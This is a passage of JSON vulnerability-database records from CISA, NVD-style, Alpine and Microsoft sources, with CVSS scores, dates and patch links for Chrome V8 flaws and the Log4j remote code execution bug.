"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-16T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-07-16T00:00:00", "id": "CISA:67D945E5ECA0CDAAE641683ED29CBC30", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/16/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-09T14:01:02", "description": "Google has released Chrome version 91.0.4472.101 for Windows, Mac, and Linux. This version addresses vulnerabilities that an attacker could exploit to take control of an affected system. One of these vulnerabilities\u2014[CVE-2021-30551](<https://vulners.com/cve/CVE-2021-30551>)\u2014has been detected in exploits in the wild.\n\nCISA encourages users and administrators to review the [Chrome Release Note](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>) and apply the necessary updates.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/10/google-releases-security-updates-chrome>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-10T00:00:00", "type": "cisa", "title": "Google Releases Security Updates for Chrome", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2021-06-10T00:00:00", "id": "CISA:F9916EF5EF9E126FF62CF4162B96669F", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/10/google-releases-security-updates-chrome", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-12-14T18:08:03", "description": "The Apache Software Foundation has released a security advisory to address a remote code execution vulnerability (CVE-2021-44228) affecting Log4j versions 2.0-beta9 to 2.14.1. A remote attacker could exploit this vulnerability to take control of an affected system. Log4j is an open-source, Java-based logging utility widely used by enterprise applications and cloud services.\n\nCISA encourages users and administrators to review the [Apache Log4j 2.15.0 Announcement](<https://logging.apache.org/log4j/2.x/security.html>) and upgrade to Log4j 2.15.0 or apply the recommended mitigations immediately. \n\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-12-10T00:00:00", "type": "cisa", "title": "Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-10T00:00:00", "id": "CISA:6C962B804E593B231FDE50912F4D093A", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "prion": [{"lastseen": "2023-11-22T00:48:11", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T19:15:00", "type": "prion", "title": "Type confusion", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-09T16:43:00", "id": "PRION:CVE-2021-30563", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T00:48:09", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}}, "published": "2021-06-15T22:15:00", "type": "prion", "title": "Type confusion", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2022-09-28T20:02:00", "id": "PRION:CVE-2021-30551", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T00:34:14", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}}, "published": "2021-02-09T16:15:00", "type": "prion", "title": "Heap overflow", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-05-17T19:56:00", "id": "PRION:CVE-2021-21148", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T00:58:10", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": 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"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2023-11-07T03:37:00", "id": "ALPINE:CVE-2021-37975", "href": "https://security.alpinelinux.org/vuln/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:03:15", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T16:15:00", "type": "alpinelinux", "title": "CVE-2021-21148", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2023-11-07T03:29:00", "id": "ALPINE:CVE-2021-21148", "href": "https://security.alpinelinux.org/vuln/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:03:15", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T22:15:00", "type": "alpinelinux", "title": "CVE-2021-38003", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2023-11-07T03:37:00", "id": "ALPINE:CVE-2021-38003", "href": "https://security.alpinelinux.org/vuln/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:03:11", "description": "Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T21:15:00", "type": "alpinelinux", "title": "CVE-2021-30633", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2023-11-07T03:33:00", "id": "ALPINE:CVE-2021-30633", "href": "https://security.alpinelinux.org/vuln/CVE-2021-30633", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T16:03:11", "description": "Type confusion in V8 in Google Chrome prior to 99.0.4844.84 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-07-23T00:15:00", "type": "alpinelinux", "title": "CVE-2022-1096", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-10-27T22:50:00", "id": "ALPINE:CVE-2022-1096", "href": "https://security.alpinelinux.org/vuln/CVE-2022-1096", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "mscve": [{"lastseen": "2023-12-03T21:53:35", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability is known to have been exploited in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-19T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-30563 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-07-19T07:00:00", "id": "MS:CVE-2021-30563", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:53:01", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Google is aware that exploits for this vulnerability exist in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-29T16:52:46", "type": "mscve", "title": "Chromium: CVE-2021-38003 Inappropriate implementation in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-10-29T16:52:46", "id": "MS:CVE-2021-38003", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:53:15", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability is known to be exploited in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-01T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-37975 Use after free in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-10-01T07:00:00", "id": "MS:CVE-2021-37975", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:53:57", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. 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Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\nThis vulnerability was addressed in Microsoft Edge (Chromium-based) in build 90.0.818.41 which was released April 16, 2021.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-22T20:16:16", "type": "mscve", "title": "Chromium: CVE-2021-21224 Type Confusion in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-04-22T20:16:16", "id": "MS:CVE-2021-21224", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21224", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:55:03", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n\n**This CVE has been reported to be exploited in the wild.**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-05T08:00:00", "type": "mscve", "title": "Chromium CVE-2021-21148: Heap buffer overflow in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-05T08:00:00", "id": "MS:CVE-2021-21148", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:53:15", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-16T07:00:00", "type": "mscve", "title": "Chromium: CVE-2021-30633 Use after free in Indexed DB API", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2021-09-16T07:00:00", "id": "MS:CVE-2021-30633", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-30633", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T21:52:38", "description": "This CVE was assigned by Chrome. Microsoft Edge (Chromium-based) ingests Chromium, which addresses this vulnerability. Please see [Google Chrome Releases](<https://chromereleases.googleblog.com/2021>) for more information. Google is aware of reports that an exploit for CVE-2021-4102 exists in the wild.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-14T08:00:00", "type": "mscve", "title": "Chromium: CVE-2021-4102 Use after free in V8", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2021-12-14T08:00:00", "id": "MS:CVE-2021-4102", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-4102", "cvss": {"score": 6.8, "vector": 